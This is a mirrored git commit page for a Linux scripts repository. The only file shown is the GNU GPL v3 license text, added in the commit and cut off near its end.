mirror of
https://github.com/edu4rdshl/linuxscripts.git
synced 2026-07-17 23:24:52 +00:00
Migración de Github
This commit is contained in:
commit
5f80ad5e47
113 changed files with 6084 additions and 0 deletions
674
LICENSE
Normal file
674
LICENSE
Normal file
|
|
@ -0,0 +1,674 @@
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 3, 29 June 2007
|
||||||
|
|
||||||
|
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The GNU General Public License is a free, copyleft license for
|
||||||
|
software and other kinds of works.
|
||||||
|
|
||||||
|
The licenses for most software and other practical works are designed
|
||||||
|
to take away your freedom to share and change the works. By contrast,
|
||||||
|
the GNU General Public License is intended to guarantee your freedom to
|
||||||
|
share and change all versions of a program--to make sure it remains free
|
||||||
|
software for all its users. We, the Free Software Foundation, use the
|
||||||
|
GNU General Public License for most of our software; it applies also to
|
||||||
|
any other work released this way by its authors. You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
them if you wish), that you receive source code or can get it if you
|
||||||
|
want it, that you can change the software or use pieces of it in new
|
||||||
|
free programs, and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to prevent others from denying you
|
||||||
|
these rights or asking you to surrender the rights. Therefore, you have
|
||||||
|
certain responsibilities if you distribute copies of the software, or if
|
||||||
|
you modify it: responsibilities to respect the freedom of others.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must pass on to the recipients the same
|
||||||
|
freedoms that you received. You must make sure that they, too, receive
|
||||||
|
or can get the source code. And you must show them these terms so they
|
||||||
|
know their rights.
|
||||||
|
|
||||||
|
Developers that use the GNU GPL protect your rights with two steps:
|
||||||
|
(1) assert copyright on the software, and (2) offer you this License
|
||||||
|
giving you legal permission to copy, distribute and/or modify it.
|
||||||
|
|
||||||
|
For the developers' and authors' protection, the GPL clearly explains
|
||||||
|
that there is no warranty for this free software. For both users' and
|
||||||
|
authors' sake, the GPL requires that modified versions be marked as
|
||||||
|
changed, so that their problems will not be attributed erroneously to
|
||||||
|
authors of previous versions.
|
||||||
|
|
||||||
|
Some devices are designed to deny users access to install or run
|
||||||
|
modified versions of the software inside them, although the manufacturer
|
||||||
|
can do so. This is fundamentally incompatible with the aim of
|
||||||
|
protecting users' freedom to change the software. The systematic
|
||||||
|
pattern of such abuse occurs in the area of products for individuals to
|
||||||
|
use, which is precisely where it is most unacceptable. Therefore, we
|
||||||
|
have designed this version of the GPL to prohibit the practice for those
|
||||||
|
products. If such problems arise substantially in other domains, we
|
||||||
|
stand ready to extend this provision to those domains in future versions
|
||||||
|
of the GPL, as needed to protect the freedom of users.
|
||||||
|
|
||||||
|
Finally, every program is threatened constantly by software patents.
|
||||||
|
States should not allow patents to restrict development and use of
|
||||||
|
software on general-purpose computers, but in those that do, we wish to
|
||||||
|
avoid the special danger that patents applied to a free program could
|
||||||
|
make it effectively proprietary. To prevent this, the GPL assures that
|
||||||
|
patents cannot be used to render the program non-free.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
0. Definitions.
|
||||||
|
|
||||||
|
"This License" refers to version 3 of the GNU General Public License.
|
||||||
|
|
||||||
|
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||||
|
works, such as semiconductor masks.
|
||||||
|
|
||||||
|
"The Program" refers to any copyrightable work licensed under this
|
||||||
|
License. Each licensee is addressed as "you". "Licensees" and
|
||||||
|
"recipients" may be individuals or organizations.
|
||||||
|
|
||||||
|
To "modify" a work means to copy from or adapt all or part of the work
|
||||||
|
in a fashion requiring copyright permission, other than the making of an
|
||||||
|
exact copy. The resulting work is called a "modified version" of the
|
||||||
|
earlier work or a work "based on" the earlier work.
|
||||||
|
|
||||||
|
A "covered work" means either the unmodified Program or a work based
|
||||||
|
on the Program.
|
||||||
|
|
||||||
|
To "propagate" a work means to do anything with it that, without
|
||||||
|
permission, would make you directly or secondarily liable for
|
||||||
|
infringement under applicable copyright law, except executing it on a
|
||||||
|
computer or modifying a private copy. Propagation includes copying,
|
||||||
|
distribution (with or without modification), making available to the
|
||||||
|
public, and in some countries other activities as well.
|
||||||
|
|
||||||
|
To "convey" a work means any kind of propagation that enables other
|
||||||
|
parties to make or receive copies. Mere interaction with a user through
|
||||||
|
a computer network, with no transfer of a copy, is not conveying.
|
||||||
|
|
||||||
|
An interactive user interface displays "Appropriate Legal Notices"
|
||||||
|
to the extent that it includes a convenient and prominently visible
|
||||||
|
feature that (1) displays an appropriate copyright notice, and (2)
|
||||||
|
tells the user that there is no warranty for the work (except to the
|
||||||
|
extent that warranties are provided), that licensees may convey the
|
||||||
|
work under this License, and how to view a copy of this License. If
|
||||||
|
the interface presents a list of user commands or options, such as a
|
||||||
|
menu, a prominent item in the list meets this criterion.
|
||||||
|
|
||||||
|
1. Source Code.
|
||||||
|
|
||||||
|
The "source code" for a work means the preferred form of the work
|
||||||
|
for making modifications to it. "Object code" means any non-source
|
||||||
|
form of a work.
|
||||||
|
|
||||||
|
A "Standard Interface" means an interface that either is an official
|
||||||
|
standard defined by a recognized standards body, or, in the case of
|
||||||
|
interfaces specified for a particular programming language, one that
|
||||||
|
is widely used among developers working in that language.
|
||||||
|
|
||||||
|
The "System Libraries" of an executable work include anything, other
|
||||||
|
than the work as a whole, that (a) is included in the normal form of
|
||||||
|
packaging a Major Component, but which is not part of that Major
|
||||||
|
Component, and (b) serves only to enable use of the work with that
|
||||||
|
Major Component, or to implement a Standard Interface for which an
|
||||||
|
implementation is available to the public in source code form. A
|
||||||
|
"Major Component", in this context, means a major essential component
|
||||||
|
(kernel, window system, and so on) of the specific operating system
|
||||||
|
(if any) on which the executable work runs, or a compiler used to
|
||||||
|
produce the work, or an object code interpreter used to run it.
|
||||||
|
|
||||||
|
The "Corresponding Source" for a work in object code form means all
|
||||||
|
the source code needed to generate, install, and (for an executable
|
||||||
|
work) run the object code and to modify the work, including scripts to
|
||||||
|
control those activities. However, it does not include the work's
|
||||||
|
System Libraries, or general-purpose tools or generally available free
|
||||||
|
programs which are used unmodified in performing those activities but
|
||||||
|
which are not part of the work. For example, Corresponding Source
|
||||||
|
includes interface definition files associated with source files for
|
||||||
|
the work, and the source code for shared libraries and dynamically
|
||||||
|
linked subprograms that the work is specifically designed to require,
|
||||||
|
such as by intimate data communication or control flow between those
|
||||||
|
subprograms and other parts of the work.
|
||||||
|
|
||||||
|
The Corresponding Source need not include anything that users
|
||||||
|
can regenerate automatically from other parts of the Corresponding
|
||||||
|
Source.
|
||||||
|
|
||||||
|
The Corresponding Source for a work in source code form is that
|
||||||
|
same work.
|
||||||
|
|
||||||
|
2. Basic Permissions.
|
||||||
|
|
||||||
|
All rights granted under this License are granted for the term of
|
||||||
|
copyright on the Program, and are irrevocable provided the stated
|
||||||
|
conditions are met. This License explicitly affirms your unlimited
|
||||||
|
permission to run the unmodified Program. The output from running a
|
||||||
|
covered work is covered by this License only if the output, given its
|
||||||
|
content, constitutes a covered work. This License acknowledges your
|
||||||
|
rights of fair use or other equivalent, as provided by copyright law.
|
||||||
|
|
||||||
|
You may make, run and propagate covered works that you do not
|
||||||
|
convey, without conditions so long as your license otherwise remains
|
||||||
|
in force. You may convey covered works to others for the sole purpose
|
||||||
|
of having them make modifications exclusively for you, or provide you
|
||||||
|
with facilities for running those works, provided that you comply with
|
||||||
|
the terms of this License in conveying all material for which you do
|
||||||
|
not control copyright. Those thus making or running the covered works
|
||||||
|
for you must do so exclusively on your behalf, under your direction
|
||||||
|
and control, on terms that prohibit them from making any copies of
|
||||||
|
your copyrighted material outside their relationship with you.
|
||||||
|
|
||||||
|
Conveying under any other circumstances is permitted solely under
|
||||||
|
the conditions stated below. Sublicensing is not allowed; section 10
|
||||||
|
makes it unnecessary.
|
||||||
|
|
||||||
|
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||||
|
|
||||||
|
No covered work shall be deemed part of an effective technological
|
||||||
|
measure under any applicable law fulfilling obligations under article
|
||||||
|
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||||
|
similar laws prohibiting or restricting circumvention of such
|
||||||
|
measures.
|
||||||
|
|
||||||
|
When you convey a covered work, you waive any legal power to forbid
|
||||||
|
circumvention of technological measures to the extent such circumvention
|
||||||
|
is effected by exercising rights under this License with respect to
|
||||||
|
the covered work, and you disclaim any intention to limit operation or
|
||||||
|
modification of the work as a means of enforcing, against the work's
|
||||||
|
users, your or third parties' legal rights to forbid circumvention of
|
||||||
|
technological measures.
|
||||||
|
|
||||||
|
4. Conveying Verbatim Copies.
|
||||||
|
|
||||||
|
You may convey verbatim copies of the Program's source code as you
|
||||||
|
receive it, in any medium, provided that you conspicuously and
|
||||||
|
appropriately publish on each copy an appropriate copyright notice;
|
||||||
|
keep intact all notices stating that this License and any
|
||||||
|
non-permissive terms added in accord with section 7 apply to the code;
|
||||||
|
keep intact all notices of the absence of any warranty; and give all
|
||||||
|
recipients a copy of this License along with the Program.
|
||||||
|
|
||||||
|
You may charge any price or no price for each copy that you convey,
|
||||||
|
and you may offer support or warranty protection for a fee.
|
||||||
|
|
||||||
|
5. Conveying Modified Source Versions.
|
||||||
|
|
||||||
|
You may convey a work based on the Program, or the modifications to
|
||||||
|
produce it from the Program, in the form of source code under the
|
||||||
|
terms of section 4, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) The work must carry prominent notices stating that you modified
|
||||||
|
it, and giving a relevant date.
|
||||||
|
|
||||||
|
b) The work must carry prominent notices stating that it is
|
||||||
|
released under this License and any conditions added under section
|
||||||
|
7. This requirement modifies the requirement in section 4 to
|
||||||
|
"keep intact all notices".
|
||||||
|
|
||||||
|
c) You must license the entire work, as a whole, under this
|
||||||
|
License to anyone who comes into possession of a copy. This
|
||||||
|
License will therefore apply, along with any applicable section 7
|
||||||
|
additional terms, to the whole of the work, and all its parts,
|
||||||
|
regardless of how they are packaged. This License gives no
|
||||||
|
permission to license the work in any other way, but it does not
|
||||||
|
invalidate such permission if you have separately received it.
|
||||||
|
|
||||||
|
d) If the work has interactive user interfaces, each must display
|
||||||
|
Appropriate Legal Notices; however, if the Program has interactive
|
||||||
|
interfaces that do not display Appropriate Legal Notices, your
|
||||||
|
work need not make them do so.
|
||||||
|
|
||||||
|
A compilation of a covered work with other separate and independent
|
||||||
|
works, which are not by their nature extensions of the covered work,
|
||||||
|
and which are not combined with it such as to form a larger program,
|
||||||
|
in or on a volume of a storage or distribution medium, is called an
|
||||||
|
"aggregate" if the compilation and its resulting copyright are not
|
||||||
|
used to limit the access or legal rights of the compilation's users
|
||||||
|
beyond what the individual works permit. Inclusion of a covered work
|
||||||
|
in an aggregate does not cause this License to apply to the other
|
||||||
|
parts of the aggregate.
|
||||||
|
|
||||||
|
6. Conveying Non-Source Forms.
|
||||||
|
|
||||||
|
You may convey a covered work in object code form under the terms
|
||||||
|
of sections 4 and 5, provided that you also convey the
|
||||||
|
machine-readable Corresponding Source under the terms of this License,
|
||||||
|
in one of these ways:
|
||||||
|
|
||||||
|
a) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by the
|
||||||
|
Corresponding Source fixed on a durable physical medium
|
||||||
|
customarily used for software interchange.
|
||||||
|
|
||||||
|
b) Convey the object code in, or embodied in, a physical product
|
||||||
|
(including a physical distribution medium), accompanied by a
|
||||||
|
written offer, valid for at least three years and valid for as
|
||||||
|
long as you offer spare parts or customer support for that product
|
||||||
|
model, to give anyone who possesses the object code either (1) a
|
||||||
|
copy of the Corresponding Source for all the software in the
|
||||||
|
product that is covered by this License, on a durable physical
|
||||||
|
medium customarily used for software interchange, for a price no
|
||||||
|
more than your reasonable cost of physically performing this
|
||||||
|
conveying of source, or (2) access to copy the
|
||||||
|
Corresponding Source from a network server at no charge.
|
||||||
|
|
||||||
|
c) Convey individual copies of the object code with a copy of the
|
||||||
|
written offer to provide the Corresponding Source. This
|
||||||
|
alternative is allowed only occasionally and noncommercially, and
|
||||||
|
only if you received the object code with such an offer, in accord
|
||||||
|
with subsection 6b.
|
||||||
|
|
||||||
|
d) Convey the object code by offering access from a designated
|
||||||
|
place (gratis or for a charge), and offer equivalent access to the
|
||||||
|
Corresponding Source in the same way through the same place at no
|
||||||
|
further charge. You need not require recipients to copy the
|
||||||
|
Corresponding Source along with the object code. If the place to
|
||||||
|
copy the object code is a network server, the Corresponding Source
|
||||||
|
may be on a different server (operated by you or a third party)
|
||||||
|
that supports equivalent copying facilities, provided you maintain
|
||||||
|
clear directions next to the object code saying where to find the
|
||||||
|
Corresponding Source. Regardless of what server hosts the
|
||||||
|
Corresponding Source, you remain obligated to ensure that it is
|
||||||
|
available for as long as needed to satisfy these requirements.
|
||||||
|
|
||||||
|
e) Convey the object code using peer-to-peer transmission, provided
|
||||||
|
you inform other peers where the object code and Corresponding
|
||||||
|
Source of the work are being offered to the general public at no
|
||||||
|
charge under subsection 6d.
|
||||||
|
|
||||||
|
A separable portion of the object code, whose source code is excluded
|
||||||
|
from the Corresponding Source as a System Library, need not be
|
||||||
|
included in conveying the object code work.
|
||||||
|
|
||||||
|
A "User Product" is either (1) a "consumer product", which means any
|
||||||
|
tangible personal property which is normally used for personal, family,
|
||||||
|
or household purposes, or (2) anything designed or sold for incorporation
|
||||||
|
into a dwelling. In determining whether a product is a consumer product,
|
||||||
|
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||||
|
product received by a particular user, "normally used" refers to a
|
||||||
|
typical or common use of that class of product, regardless of the status
|
||||||
|
of the particular user or of the way in which the particular user
|
||||||
|
actually uses, or expects or is expected to use, the product. A product
|
||||||
|
is a consumer product regardless of whether the product has substantial
|
||||||
|
commercial, industrial or non-consumer uses, unless such uses represent
|
||||||
|
the only significant mode of use of the product.
|
||||||
|
|
||||||
|
"Installation Information" for a User Product means any methods,
|
||||||
|
procedures, authorization keys, or other information required to install
|
||||||
|
and execute modified versions of a covered work in that User Product from
|
||||||
|
a modified version of its Corresponding Source. The information must
|
||||||
|
suffice to ensure that the continued functioning of the modified object
|
||||||
|
code is in no case prevented or interfered with solely because
|
||||||
|
modification has been made.
|
||||||
|
|
||||||
|
If you convey an object code work under this section in, or with, or
|
||||||
|
specifically for use in, a User Product, and the conveying occurs as
|
||||||
|
part of a transaction in which the right of possession and use of the
|
||||||
|
User Product is transferred to the recipient in perpetuity or for a
|
||||||
|
fixed term (regardless of how the transaction is characterized), the
|
||||||
|
Corresponding Source conveyed under this section must be accompanied
|
||||||
|
by the Installation Information. But this requirement does not apply
|
||||||
|
if neither you nor any third party retains the ability to install
|
||||||
|
modified object code on the User Product (for example, the work has
|
||||||
|
been installed in ROM).
|
||||||
|
|
||||||
|
The requirement to provide Installation Information does not include a
|
||||||
|
requirement to continue to provide support service, warranty, or updates
|
||||||
|
for a work that has been modified or installed by the recipient, or for
|
||||||
|
the User Product in which it has been modified or installed. Access to a
|
||||||
|
network may be denied when the modification itself materially and
|
||||||
|
adversely affects the operation of the network or violates the rules and
|
||||||
|
protocols for communication across the network.
|
||||||
|
|
||||||
|
Corresponding Source conveyed, and Installation Information provided,
|
||||||
|
in accord with this section must be in a format that is publicly
|
||||||
|
documented (and with an implementation available to the public in
|
||||||
|
source code form), and must require no special password or key for
|
||||||
|
unpacking, reading or copying.
|
||||||
|
|
||||||
|
7. Additional Terms.
|
||||||
|
|
||||||
|
"Additional permissions" are terms that supplement the terms of this
|
||||||
|
License by making exceptions from one or more of its conditions.
|
||||||
|
Additional permissions that are applicable to the entire Program shall
|
||||||
|
be treated as though they were included in this License, to the extent
|
||||||
|
that they are valid under applicable law. If additional permissions
|
||||||
|
apply only to part of the Program, that part may be used separately
|
||||||
|
under those permissions, but the entire Program remains governed by
|
||||||
|
this License without regard to the additional permissions.
|
||||||
|
|
||||||
|
When you convey a copy of a covered work, you may at your option
|
||||||
|
remove any additional permissions from that copy, or from any part of
|
||||||
|
it. (Additional permissions may be written to require their own
|
||||||
|
removal in certain cases when you modify the work.) You may place
|
||||||
|
additional permissions on material, added by you to a covered work,
|
||||||
|
for which you have or can give appropriate copyright permission.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, for material you
|
||||||
|
add to a covered work, you may (if authorized by the copyright holders of
|
||||||
|
that material) supplement the terms of this License with terms:
|
||||||
|
|
||||||
|
a) Disclaiming warranty or limiting liability differently from the
|
||||||
|
terms of sections 15 and 16 of this License; or
|
||||||
|
|
||||||
|
b) Requiring preservation of specified reasonable legal notices or
|
||||||
|
author attributions in that material or in the Appropriate Legal
|
||||||
|
Notices displayed by works containing it; or
|
||||||
|
|
||||||
|
c) Prohibiting misrepresentation of the origin of that material, or
|
||||||
|
requiring that modified versions of such material be marked in
|
||||||
|
reasonable ways as different from the original version; or
|
||||||
|
|
||||||
|
d) Limiting the use for publicity purposes of names of licensors or
|
||||||
|
authors of the material; or
|
||||||
|
|
||||||
|
e) Declining to grant rights under trademark law for use of some
|
||||||
|
trade names, trademarks, or service marks; or
|
||||||
|
|
||||||
|
f) Requiring indemnification of licensors and authors of that
|
||||||
|
material by anyone who conveys the material (or modified versions of
|
||||||
|
it) with contractual assumptions of liability to the recipient, for
|
||||||
|
any liability that these contractual assumptions directly impose on
|
||||||
|
those licensors and authors.
|
||||||
|
|
||||||
|
All other non-permissive additional terms are considered "further
|
||||||
|
restrictions" within the meaning of section 10. If the Program as you
|
||||||
|
received it, or any part of it, contains a notice stating that it is
|
||||||
|
governed by this License along with a term that is a further
|
||||||
|
restriction, you may remove that term. If a license document contains
|
||||||
|
a further restriction but permits relicensing or conveying under this
|
||||||
|
License, you may add to a covered work material governed by the terms
|
||||||
|
of that license document, provided that the further restriction does
|
||||||
|
not survive such relicensing or conveying.
|
||||||
|
|
||||||
|
If you add terms to a covered work in accord with this section, you
|
||||||
|
must place, in the relevant source files, a statement of the
|
||||||
|
additional terms that apply to those files, or a notice indicating
|
||||||
|
where to find the applicable terms.
|
||||||
|
|
||||||
|
Additional terms, permissive or non-permissive, may be stated in the
|
||||||
|
form of a separately written license, or stated as exceptions;
|
||||||
|
the above requirements apply either way.
|
||||||
|
|
||||||
|
8. Termination.
|
||||||
|
|
||||||
|
You may not propagate or modify a covered work except as expressly
|
||||||
|
provided under this License. Any attempt otherwise to propagate or
|
||||||
|
modify it is void, and will automatically terminate your rights under
|
||||||
|
this License (including any patent licenses granted under the third
|
||||||
|
paragraph of section 11).
|
||||||
|
|
||||||
|
However, if you cease all violation of this License, then your
|
||||||
|
license from a particular copyright holder is reinstated (a)
|
||||||
|
provisionally, unless and until the copyright holder explicitly and
|
||||||
|
finally terminates your license, and (b) permanently, if the copyright
|
||||||
|
holder fails to notify you of the violation by some reasonable means
|
||||||
|
prior to 60 days after the cessation.
|
||||||
|
|
||||||
|
Moreover, your license from a particular copyright holder is
|
||||||
|
reinstated permanently if the copyright holder notifies you of the
|
||||||
|
violation by some reasonable means, this is the first time you have
|
||||||
|
received notice of violation of this License (for any work) from that
|
||||||
|
copyright holder, and you cure the violation prior to 30 days after
|
||||||
|
your receipt of the notice.
|
||||||
|
|
||||||
|
Termination of your rights under this section does not terminate the
|
||||||
|
licenses of parties who have received copies or rights from you under
|
||||||
|
this License. If your rights have been terminated and not permanently
|
||||||
|
reinstated, you do not qualify to receive new licenses for the same
|
||||||
|
material under section 10.
|
||||||
|
|
||||||
|
9. Acceptance Not Required for Having Copies.
|
||||||
|
|
||||||
|
You are not required to accept this License in order to receive or
|
||||||
|
run a copy of the Program. Ancillary propagation of a covered work
|
||||||
|
occurring solely as a consequence of using peer-to-peer transmission
|
||||||
|
to receive a copy likewise does not require acceptance. However,
|
||||||
|
nothing other than this License grants you permission to propagate or
|
||||||
|
modify any covered work. These actions infringe copyright if you do
|
||||||
|
not accept this License. Therefore, by modifying or propagating a
|
||||||
|
covered work, you indicate your acceptance of this License to do so.
|
||||||
|
|
||||||
|
10. Automatic Licensing of Downstream Recipients.
|
||||||
|
|
||||||
|
Each time you convey a covered work, the recipient automatically
|
||||||
|
receives a license from the original licensors, to run, modify and
|
||||||
|
propagate that work, subject to this License. You are not responsible
|
||||||
|
for enforcing compliance by third parties with this License.
|
||||||
|
|
||||||
|
An "entity transaction" is a transaction transferring control of an
|
||||||
|
organization, or substantially all assets of one, or subdividing an
|
||||||
|
organization, or merging organizations. If propagation of a covered
|
||||||
|
work results from an entity transaction, each party to that
|
||||||
|
transaction who receives a copy of the work also receives whatever
|
||||||
|
licenses to the work the party's predecessor in interest had or could
|
||||||
|
give under the previous paragraph, plus a right to possession of the
|
||||||
|
Corresponding Source of the work from the predecessor in interest, if
|
||||||
|
the predecessor has it or can get it with reasonable efforts.
|
||||||
|
|
||||||
|
You may not impose any further restrictions on the exercise of the
|
||||||
|
rights granted or affirmed under this License. For example, you may
|
||||||
|
not impose a license fee, royalty, or other charge for exercise of
|
||||||
|
rights granted under this License, and you may not initiate litigation
|
||||||
|
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||||
|
any patent claim is infringed by making, using, selling, offering for
|
||||||
|
sale, or importing the Program or any portion of it.
|
||||||
|
|
||||||
|
11. Patents.
|
||||||
|
|
||||||
|
A "contributor" is a copyright holder who authorizes use under this
|
||||||
|
License of the Program or a work on which the Program is based. The
|
||||||
|
work thus licensed is called the contributor's "contributor version".
|
||||||
|
|
||||||
|
A contributor's "essential patent claims" are all patent claims
|
||||||
|
owned or controlled by the contributor, whether already acquired or
|
||||||
|
hereafter acquired, that would be infringed by some manner, permitted
|
||||||
|
by this License, of making, using, or selling its contributor version,
|
||||||
|
but do not include claims that would be infringed only as a
|
||||||
|
consequence of further modification of the contributor version. For
|
||||||
|
purposes of this definition, "control" includes the right to grant
|
||||||
|
patent sublicenses in a manner consistent with the requirements of
|
||||||
|
this License.
|
||||||
|
|
||||||
|
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||||
|
patent license under the contributor's essential patent claims, to
|
||||||
|
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||||
|
propagate the contents of its contributor version.
|
||||||
|
|
||||||
|
In the following three paragraphs, a "patent license" is any express
|
||||||
|
agreement or commitment, however denominated, not to enforce a patent
|
||||||
|
(such as an express permission to practice a patent or covenant not to
|
||||||
|
sue for patent infringement). To "grant" such a patent license to a
|
||||||
|
party means to make such an agreement or commitment not to enforce a
|
||||||
|
patent against the party.
|
||||||
|
|
||||||
|
If you convey a covered work, knowingly relying on a patent license,
|
||||||
|
and the Corresponding Source of the work is not available for anyone
|
||||||
|
to copy, free of charge and under the terms of this License, through a
|
||||||
|
publicly available network server or other readily accessible means,
|
||||||
|
then you must either (1) cause the Corresponding Source to be so
|
||||||
|
available, or (2) arrange to deprive yourself of the benefit of the
|
||||||
|
patent license for this particular work, or (3) arrange, in a manner
|
||||||
|
consistent with the requirements of this License, to extend the patent
|
||||||
|
license to downstream recipients. "Knowingly relying" means you have
|
||||||
|
actual knowledge that, but for the patent license, your conveying the
|
||||||
|
covered work in a country, or your recipient's use of the covered work
|
||||||
|
in a country, would infringe one or more identifiable patents in that
|
||||||
|
country that you have reason to believe are valid.
|
||||||
|
|
||||||
|
If, pursuant to or in connection with a single transaction or
|
||||||
|
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||||
|
covered work, and grant a patent license to some of the parties
|
||||||
|
receiving the covered work authorizing them to use, propagate, modify
|
||||||
|
or convey a specific copy of the covered work, then the patent license
|
||||||
|
you grant is automatically extended to all recipients of the covered
|
||||||
|
work and works based on it.
|
||||||
|
|
||||||
|
A patent license is "discriminatory" if it does not include within
|
||||||
|
the scope of its coverage, prohibits the exercise of, or is
|
||||||
|
conditioned on the non-exercise of one or more of the rights that are
|
||||||
|
specifically granted under this License. You may not convey a covered
|
||||||
|
work if you are a party to an arrangement with a third party that is
|
||||||
|
in the business of distributing software, under which you make payment
|
||||||
|
to the third party based on the extent of your activity of conveying
|
||||||
|
the work, and under which the third party grants, to any of the
|
||||||
|
parties who would receive the covered work from you, a discriminatory
|
||||||
|
patent license (a) in connection with copies of the covered work
|
||||||
|
conveyed by you (or copies made from those copies), or (b) primarily
|
||||||
|
for and in connection with specific products or compilations that
|
||||||
|
contain the covered work, unless you entered into that arrangement,
|
||||||
|
or that patent license was granted, prior to 28 March 2007.
|
||||||
|
|
||||||
|
Nothing in this License shall be construed as excluding or limiting
|
||||||
|
any implied license or other defenses to infringement that may
|
||||||
|
otherwise be available to you under applicable patent law.
|
||||||
|
|
||||||
|
12. No Surrender of Others' Freedom.
|
||||||
|
|
||||||
|
If conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot convey a
|
||||||
|
covered work so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you may
|
||||||
|
not convey it at all. For example, if you agree to terms that obligate you
|
||||||
|
to collect a royalty for further conveying from those to whom you convey
|
||||||
|
the Program, the only way you could satisfy both those terms and this
|
||||||
|
License would be to refrain entirely from conveying the Program.
|
||||||
|
|
||||||
|
13. Use with the GNU Affero General Public License.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, you have
|
||||||
|
permission to link or combine any covered work with a work licensed
|
||||||
|
under version 3 of the GNU Affero General Public License into a single
|
||||||
|
combined work, and to convey the resulting work. The terms of this
|
||||||
|
License will continue to apply to the part which is the covered work,
|
||||||
|
but the special requirements of the GNU Affero General Public License,
|
||||||
|
section 13, concerning interaction through a network will apply to the
|
||||||
|
combination as such.
|
||||||
|
|
||||||
|
14. Revised Versions of this License.
|
||||||
|
|
||||||
|
The Free Software Foundation may publish revised and/or new versions of
|
||||||
|
the GNU General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the
|
||||||
|
Program specifies that a certain numbered version of the GNU General
|
||||||
|
Public License "or any later version" applies to it, you have the
|
||||||
|
option of following the terms and conditions either of that numbered
|
||||||
|
version or of any later version published by the Free Software
|
||||||
|
Foundation. If the Program does not specify a version number of the
|
||||||
|
GNU General Public License, you may choose any version ever published
|
||||||
|
by the Free Software Foundation.
|
||||||
|
|
||||||
|
If the Program specifies that a proxy can decide which future
|
||||||
|
versions of the GNU General Public License can be used, that proxy's
|
||||||
|
public statement of acceptance of a version permanently authorizes you
|
||||||
|
to choose that version for the Program.
|
||||||
|
|
||||||
|
Later license versions may give you additional or different
|
||||||
|
permissions. However, no additional obligations are imposed on any
|
||||||
|
author or copyright holder as a result of your choosing to follow a
|
||||||
|
later version.
|
||||||
|
|
||||||
|
15. Disclaimer of Warranty.
|
||||||
|
|
||||||
|
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||||
|
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||||
|
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||||
|
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||||
|
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||||
|
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||||
|
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||||
|
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
16. Limitation of Liability.
|
||||||
|
|
||||||
|
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||||
|
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||||
|
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||||
|
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||||
|
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||||
|
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||||
|
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||||
|
SUCH DAMAGES.
|
||||||
|
|
||||||
|
17. Interpretation of Sections 15 and 16.
|
||||||
|
|
||||||
|
If the disclaimer of warranty and limitation of liability provided
|
||||||
|
above cannot be given local legal effect according to their terms,
|
||||||
|
reviewing courts shall apply local law that most closely approximates
|
||||||
|
an absolute waiver of all civil liability in connection with the
|
||||||
|
Program, unless a warranty or assumption of liability accompanies a
|
||||||
|
copy of the Program in return for a fee.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
possible use to the public, the best way to achieve this is to make it
|
||||||
|
